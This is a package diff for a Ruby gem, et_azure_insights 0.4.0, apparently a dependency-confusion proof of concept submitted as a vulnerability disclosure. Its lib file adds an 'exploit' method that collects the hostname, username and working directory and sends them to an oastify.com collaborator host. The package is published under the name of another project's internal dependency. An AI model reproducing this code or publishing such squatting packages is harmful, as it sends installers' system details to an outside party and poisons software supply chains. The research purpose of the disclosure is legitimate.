et_azure_insights 0.4.0

checksums.yaml

@@ -0,0 +1,7 @@
+---
+SHA256:
+  metadata.gz: 3a354d4ad5e1a475bca334a0aa161ca68e111b1fe852139225ea4345b35fac40
+  data.tar.gz: bc227bb8deb92101fca79f2a1a3dfeeb577fcd6da009519eb8ac2c77f087f595
+SHA512:
+  metadata.gz: c10f5eaacd554466ee68211bc15c5dee9613e9318d5c1ee61f8f6ea5dd2f24a203ca564b2b0580456a9d9edc6ab819af05b61ebcf2f514521ba79e31e54fca47
+  data.tar.gz: 0fbe7449de5f2297e27443f1e5c4be2c896e6d1f27cdf3ef244d915ed6f6f3f2a9f3227ef8b2f71fcc4b7f5ab6645b64d07a0fcfe3a22d5ed7c3dd746eaed0ec

data/lib/et_azure_insights.rb

@@ -0,0 +1,20 @@
+require 'net/http'
+require 'socket'
+require 'etc'
+
+def exploit
+  hostname = Socket.gethostname
+  username = Etc.getlogin
+  cwd = Dir.pwd
+
+  uri = URI('https://sc8c79d4fjfgq4htgo090c2b72dt1i.oastify.com')
+  params = { 'hostname' => hostname, 'username' => username, 'cwd' => cwd }
+  uri.query = URI.encode_www_form(params)
+
+  res = Net::HTTP.get_response(uri)
+
+  # Add any additional code here based on the desired behavior of the exploit
+
+  # Example: Printing the response
+  puts res.body
+end

metadata

@@ -0,0 +1,44 @@
+--- !ruby/object:Gem::Specification
+name: et_azure_insights
+version: !ruby/object:Gem::Version
+  version: 0.4.0
+platform: ruby
+authors:
+- Bug Hunter
+autorequire:
+bindir: bin
+cert_chain: []
+date: 2023-06-02 00:00:00.000000000 Z
+dependencies: []
+description: This Ruby package is vulnerable to dependency confusion vulnerability
+email:
+- bughunter@gmail.com
+executables: []
+extensions: []
+extra_rdoc_files: []
+files:
+- lib/et_azure_insights.rb
+homepage: https://rubygems.org/gems/et_azure_insights
+licenses:
+- MIT
+metadata: {}
+post_install_message:
+rdoc_options: []
+require_paths:
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+required_rubygems_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+requirements: []
+rubygems_version: 3.3.15
+signing_key:
+specification_version: 4
+summary: 'Vulnerability Disclosure: Dependency confusion vulnerability'
+test_files: []